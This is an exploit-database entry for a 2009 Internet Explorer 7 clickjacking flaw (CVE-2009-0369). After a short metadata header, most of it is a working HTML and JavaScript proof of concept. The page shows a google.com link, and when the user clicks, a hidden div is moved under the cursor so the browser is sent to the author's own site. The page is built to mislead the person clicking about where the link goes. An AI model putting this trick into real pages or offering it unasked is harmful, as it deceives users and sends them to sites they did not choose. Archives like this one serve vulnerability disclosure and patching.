Microsoft Internet Explorer 7 - Clickjacking

Author: UzmiX
type: remote
platform: windows
port: 
date_added: 2009-01-28 
date_updated:  
verified: 1 
codes: OSVDB-56432;CVE-2009-0369 
tags: 
aliases:  
screenshot_url:  
application_url:

#############################################################
# Application Name       : Ä°nternet Explorer 7
# Vulnerable Type        : Clickjacking
# Author                     : UzmiX
#############################################################
< ------------------- header data end of ------------------- >
<html>
<body>
<div id="open"
onmouseover="document.location='http://www.uzmix.net';"
style="position:absolute;width:8px;height:7px;background:#FFFFFF;border:1px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
<center>
<br>
<br>
<a href="http://www.google.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.google.com</font></a>
</html>

# milw0rm.com [2009-01-29]